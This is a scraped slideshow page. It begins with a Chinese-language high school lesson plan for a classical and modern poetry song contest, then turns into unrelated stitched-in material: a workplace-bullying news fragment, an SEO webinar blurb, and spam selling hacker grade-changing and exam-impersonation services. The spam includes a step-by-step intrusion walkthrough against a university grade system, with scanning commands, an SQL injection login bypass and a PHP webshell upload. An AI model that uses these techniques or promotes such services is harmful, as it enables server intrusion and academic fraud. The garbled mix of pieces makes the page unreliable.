【高中国文教学活动】大同之星：诗歌新唱大赛

Jan 30, 20170 likes233 views

katemao

高中國文教學活動配合課次：樂府詩選、現代詩選（徐志摩）

1. 分為8組，一組4~5人，需取團名，並選出團長
2. 8首詩抽籤，各組為抽到的詩進行歌曲創作
3. 範例說明後，有15~20分鐘創作及演練彩排時間
4. 表演時，有4支無線麥克風可以使用，並有鋼琴、
鈴鼓等樂器，另可自己攜帶樂器，或於今日繳交
伴唱音樂檔。
5. 表演時，演唱至少2人，其餘為伴奏、舞者或演員

6. 每組有4分鐘表演時間，將於明日第三節在音樂
教室進行，請準時抵達音樂教室。
7. 將有33位特別來賓及1位特聘評審！
8. 表演將全程錄影，並由全體觀眾進行票選，將有
觀眾票選獎1組、評審獎2組

9. 評審獎評分標準如下：
評分項目評分標準配分
歌詞改編
? 保有原詩文字特色
? 創意延伸原詩內涵
20%
音樂融入
? 呈現原詩的音樂性
? 樂曲適合度與創意
20%
表演呈現
? 穩健、大方的台風
? 團隊熟練、少失誤
40%
團隊精神適當分工並遵守規則 20%

組別詩題作者組別詩題作者
１上邪佚名５再別康橋徐志摩
２
飲馬
長城窟行
佚名６偶然徐志摩
３陌上桑佚名７
我不知道風
是在哪一個
方向吹
徐志摩
４佳人歌李延年８你去徐志摩

團名（例：我們是最潮、最有創意的蘇打藍！）
團長（團隊負責人1名）
演唱（至少2名）
伴奏/舞者/演員
（演唱以外的團員，需安排表演時要擔當的角色）

一、音樂：可歌，可誦
二、句法：句式自由，多長短句
三、風格：主述事，貴遒勁
四、語言特色：
1. 樸拙自然，多用俚言俗語
2. 複疊句式，增強節奏感
3. 顶针衔接，情意绵延

一、音樂美（音節、押韻、節奏）
二、繪畫美（詞藻、色彩、畫面）
三、建築美（節的勻稱和句的均齊）

二、除了原來的詩句，可另加歌詞、
其他詩句、旁白、或自行創作。
?要點：需表現出樂府詩或新月派的
「語言特色」

三、音樂呈現：可採用合唱、輪唱、
rap、b-box、身體律動和聲音。
四、將古典與現代、音樂與文學、
文字與聲音重新組合
?要點：激發創意與展現團隊精神

青青河畔草，緜緜不絕思遠道。
遠道不可思，夙昔夢見之。
夢見在我傍，忽然覺醒在他鄉。
他鄉各異縣，輾轉不可見。
枯桑能感受風吹拂海水知道天寒冷
誰相為言？

太陽打從東南升起，照進我的樓房
（早起的女子是好女！）
我就是秦羅敷，要出門採桑去
身上青絲桂枝倭墮髻，耳中明月珠
（看那美麗女子往這走！）
行者少年耕者鋤者都看呆忘了手邊事
（忘了真的不是我的錯！）

評分項目評分標準配分
歌詞改編
? 保有原詩文字特色
? 創意延伸原詩內涵
20%
音樂融入
? 呈現原詩的音樂性
? 樂曲適合度與創意
20%
表演呈現
? 穩健、大方的台風
? 團隊熟練、少失誤
40%
團隊精神適當分工並遵守規則 20%

1. 表演時，有4支無線麥克風可以使用，
並有鋼琴、鈴鼓等樂器，另可自己攜
帶樂器，或於今日23:00前將伴唱音樂
檔上傳至FB社團。
2. 表演時，演唱至少2人，其餘為伴奏、
舞者或演員（每個人都得有事做！）

3. 每組有4分鐘表演時間，於明日第三節
請準時抵達音樂教室。
4. 將有33位特別來賓及1位特聘評審！
5. 表演將全程錄影，最後由全體觀眾進
行票選，將有觀眾票選獎1組、評審獎
2組。

6. 評審獎評分標準如下：
評分項目評分標準配分
歌詞改編
? 保有原詩文字特色
? 創意延伸原詩內涵
20%
音樂融入
? 呈現原詩的音樂性
? 樂曲適合度與創意
20%
表演呈現
? 穩健、大方的台風
? 團隊熟練、少失誤
40%
團隊精神適當分工並遵守規則 20%

時間議程備註
10:10 抵達音樂教室就定位
10:10-10:15
主持人開場說明活動
進行方式與流程
第1組準備
10:15-10:50 1~8組依序上台表演
各組依序
準備上台
10:50-11:00 觀眾票選與評審講評

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文中指控，壓垮他離職的最後一根稻草是「一場號稱職場霸凌零容忍的會議中，公司負責人親自示範了什麼叫做霸凌。」梁姓技術長痛批，這根本是公司為轉移離職員工Renee被主管霸凌的焦點，公開羞辱、霸凌、潑髒水」。而這段的當眾霸凌羞辱的過程，全程被員工錄下PO上網。即使相處過程有諸多不滿，但梁姓技術長最後仍不忘向負責人喊話：「不知道什麼時候開始你變得對我越來越不信任？但有時候我還是會想起當年那個找我進來幫忙的你，被HR刁難時，可以直接打電話打不平的你，跟共同創辦人吵架後會找我參詳的你，知道你現在不太可能聽得去任何建議，但我的初衷一點都沒變。如果你需要任何的意見，仍然歡迎隨時找我。」最後，梁姓技術長分享過去幫同事們記錄的19支影片，強調「這是我們曾經一起擁有過的美好回憶。」字裡行間透露出對公司深摯的情感。但也或許是說得太多，讓曾姓負責人產生殺意，讓自己斷魂在公司裡。參考資料 1. ? slideshow 反擊職場霸凌-共通核心職能-就業服務法-詹翔霖副教授.pptx 2. /slideshow/docx-255504610/255504610 職場霸凌個案！畜產總經理慘淪清潔工-共通核心職能課程勞動基準法個案-詹翔霖老師.docx 3. ? slideshow 文化大學國企系共通核心職能課程-行為職能(Bc) 4. ? slideshow 職場與職務認知溝通 102.05.00-健椿工業股份有限公司-詹翔霖教授 5. ? slideshow 職場倫理詹翔霖教授 | PPT - 狠狠撸Share 6. ? chanrs

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成绩篡改、SQL注入、日志清理、数据库安全、日志监控【微Hackr404信】黑客入侵、修改成绩、漏洞扫描、社会工程学、网络安全防护【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

网址：www.daikao8.com 【微信：Hackr404】 ? Email：xxxj0654@gmail.com ? WhatsApp: +85254868103 ?? TG: @VIPgpa1 近年来，黑客利用技术手段入侵学校系统修改成绩的事件屡见不鲜。这些黑客通常通过漏洞扫描、社会工程学攻击或恶意软件植入等方式获取系统权限，随后修改成绩并清除入侵痕迹。学校应加强网络安全防护，定期更新系统补丁，并对学生和教职工进行网络安全教育，以防止类似事件发生。数据泄露技术：黑客如何通过漏洞窃取加州大学蒙特雷湾分校学生成绩, 提权漏洞利用技术：黑客如何通过SUID漏洞获取加州大学东湾分校管理员权限, 网络扫描工具：黑客如何通过端口扫描发现加州大学多明格斯山分校系统漏洞, 数据包伪造技术：黑客如何通过伪造数据包修改加州大学圣贝纳迪诺分校成绩,

学校网站、漏洞扫描、修复指南、【微贬补肠办谤404信】黑客修改成绩教务系统、厂蚕尝注入、黑客修改成绩、防范措施痕迹清理技术：黑客如何隐藏入侵行为【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

网址：www.daikao8.com 【微信：Hackr404】 ? Email：xxxj0654@gmail.com ? WhatsApp: +85254868103 ?? TG: @VIPgpa1 数据库提权技术：黑客如何通过SQL语句获取加州大学弗雷斯诺分校管理员权限, 网络监听技术：黑客如何通过嗅探工具窃取加州大学圣马科斯分校登录信息, 漏洞利用链技术：黑客如何通过多个漏洞组合入侵加州大学蒙特雷湾分校教务系统, 数据篡改工具：黑客如何通过数据库漏洞修改加州大学东湾分校GPA文件上传漏洞利用：黑客如何通过恶意文件入侵加州大学多明格斯山分校教务系统, 远程代码执行漏洞：黑客如何通过漏洞在加州大学圣贝纳迪诺分校服务器上执行代码, 权限绕过技术：黑客如何通过漏洞绕过加州大学圣路易斯奥比斯波分校身份验证, 数据包重放技术：黑客如何通过重复请求修改加州大学弗雷斯诺分校成绩, 日志注入攻击：黑客如何通过日志文件隐藏入侵布朗大学的行为, 反向Shell攻击：黑客如何通过远程连接控制华盛顿大学教务系统, 权限提升漏洞：黑客如何通过配置错误修改波士顿大学GPA, 网络钓鱼攻击：黑客如何通过伪造页面获取密歇根大学登录信息,数据篡改攻击：黑客如何通过数据库漏洞修改北卡罗来纳大学托福成绩, 文件包含漏洞：黑客如何通过恶意文件入侵威斯康星大学教务系统, 命令注入攻击：黑客如何通过系统命令修改伊利诺伊大学雅思成绩, 网络欺骗攻击：黑客如何通过ARP欺骗窃取德克萨斯大学教务数据, 漏洞利用工具：黑客如何通过Exploit-DB入侵乔治城大学教务系统, 数据泄露攻击：黑客如何通过漏洞窃取范德堡大学学生成绩黑客入侵教务系统修改成绩怎么找黑客？找黑客帮忙?找黑客改成绩?黑客改分?找黑客改分? 网址：www.daikao8.com 【微信：Hackr404】 ? Email：xxxj0654@gmail.com ? WhatsApp: +85254868103 ?? TG: @VIPgpa1 黑客改成绩|找黑客修改成绩英国大学挂科改成绩,澳洲大学挂科改成绩入侵教务系统破解电邮入侵电子邮件破解邮箱密码修改电子邮箱密码窃取密码破解账号入侵方正系统本教材仅供网络安全教学和技术探讨使用，严禁用于任何非法活动。任何因使用本教材内容而导致的违法行为，作者和发布者不承担任何责任。# 黑客入侵网站修改成绩的实操案例 ## 引言本案例将详细模拟一个黑客如何通过技术手段入侵某大学的成绩管理系统并修改成绩的过程。本案例仅用于网络安全教学和技术探讨，严禁用于任何非法活动。通过本案例，读者可以深入了解常见的攻击技术、漏洞利用方法以及痕迹清除手段，从而提高网络安全防护意识。 --- ## 案例背景某大学的成绩管理系统（假设网址为 `grades.university.edu`）存在安全漏洞。黑客通过信息收集、漏洞探测、权限提升和痕迹清除等步骤，成功入侵系统并修改了某位学生的成绩。 --- ## 1. 信息收集 ### 1.1 目标识别黑客首先确定目标为某大学的成绩管理系统，并获取其域名和IP地址。 - **域名**：`grades.university.edu` - **IP地址**：通过 `nslookup` 或 `ping` 命令获取。 ```bash nslookup grades.university.edu ``` ### 1.2 端口扫描使用 `Nmap` 扫描目标服务器的开放端口和服务。 ```bash nmap -sV -p- grades.university.edu ``` 扫描结果： - 80端口：HTTP服务（Apache/2.4.29） - 443端口：HTTPS服务 - 22端口：SSH服务 ### 1.3 目录扫描使用 `Dirb` 或 `Dirbuster` 扫描网站的目录结构，寻找敏感文件或目录。 ```bash dirb http://grades.university.edu ``` 扫描结果： - `/admin`：管理员登录页面 - `/backup`：备份文件目录 - `/uploads`：文件上传目录 --- ## 2. 漏洞探测 ### 2.1 SQL注入漏洞黑客发现管理员登录页面存在SQL注入漏洞。通过输入 `' OR '1'='1`，成功绕过登录验证。 - **登录页面**：`http://grades.university.edu/admin/login.php` - **Payload**： ```sql Username: ' OR '1'='1 Password: ' OR '1'='1 ``` ### 2.2 文件上传漏洞黑客发现文件上传功能未对文件类型进行严格验证，可以通过上传Webshell获取服务器权限。 - **上传页面**：`http://grades.university.edu/uploads/` - **Webshell代码**（`shell.php`）： ```php <?php echo shell_exec($_GET['cmd']); ?> ``` - **上传方法**：将 `shell.php` 伪装成图片文件（如 `shell.jpg`），通过Burp Suite修改文件类型为 `php` 并上传。 --- ## 3. 入侵与权限提升 ### 3.1 Webshell利用黑客通过上传的Webshell执行系统命令，查看服务器上的文件和目录

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黑客改成绩：如何通过DNS劫持绕过安全防护？【微Hackr404信】从域名解析到流量重定向，揭秘黑客的DNS劫持技术【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

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黑客改成绩快速安全？！【微Hackr404信】黑客入侵教务系统修改成绩 - 找黑客改成绩 - 黑客改分 - 找黑客修改成绩 - 黑客改成绩...【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

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黑客改成绩服务,黑客快速修改麻省理工成绩【微贬补肠办谤404信】黑客技术修改牛津大学成绩,黑客改成绩团队,黑客快速修改剑桥大学成绩,黑客技术修改加州理工成...【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

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滨黑客改成绩的背后：技术炫耀还是经济利益驱动？【微贬补肠办谤404信】教育系统网络安全漏洞：黑客改成绩事件频发的根源【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

网址：www.daikao8.com 【微信：Hackr404】 ? Email：xxxj0654@gmail.com ? WhatsApp: +85254868103 ?? TG: @VIPgpa1 为防止黑客入侵修改成绩，教育系统需要从技术和管理两方面入手。技术层面包括部署防火墙、入侵检测系统和数据加密；管理层面则需制定严格的权限管理制度和定期安全审计。只有多管齐下，才能有效防止成绩篡改事件的发生。

佐治亚理工学院代考服务详解【微信贬补肠办谤404】佛罗里达州立大学代考,乔治亚大学替考,田纳西州立大学代考,肯塔基州立大学保分替考,阿拉巴马州立大学代考,...【微信VQiChen】澳洲改成绩,澳洲改分,澳大利亚改成绩黑客如何入侵大学网站改成绩的？成绩修改韩国中学成绩修改日本中学成绩修改泰国中学成绩修改美国大学挂科改成绩英国大学挂科改成绩

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2024 Trend Updates: What Really Works In SEO & Content MarketingSearch Engine Journal

The future of SEO is trending toward a more human-first and user-centric approach, powered by AI intelligence and collaboration. Are you ready? Watch as we explore which SEO trends to prioritize to achieve sustainable growth and deliver reliable results. We’ll dive into best practices to adapt your strategy around industry-wide disruptions like SGE, how to navigate the top challenges SEO professionals are facing, and proven tactics for prioritizing quality and building trust. You’ll hear: - The top SEO trends to prioritize in 2024 to achieve long-term success. - Predictions for SGE’s impact, and how to adapt. - What E-E-A-T really means, and how to implement it holistically (hint: it’s never been more important). With Zack Kadish and Alex Carchietta, we’ll show you which SEO trends to ignore and which to focus on, along with the solution to overcoming rapid, significant and disruptive Google algorithm updates. If you’re looking to cut through the noise of constant SEO and content trends to drive success, you won’t want to miss this webinar.

Storytelling For The Web: Integrate Storytelling in your Design ProcessChiara Aliotta

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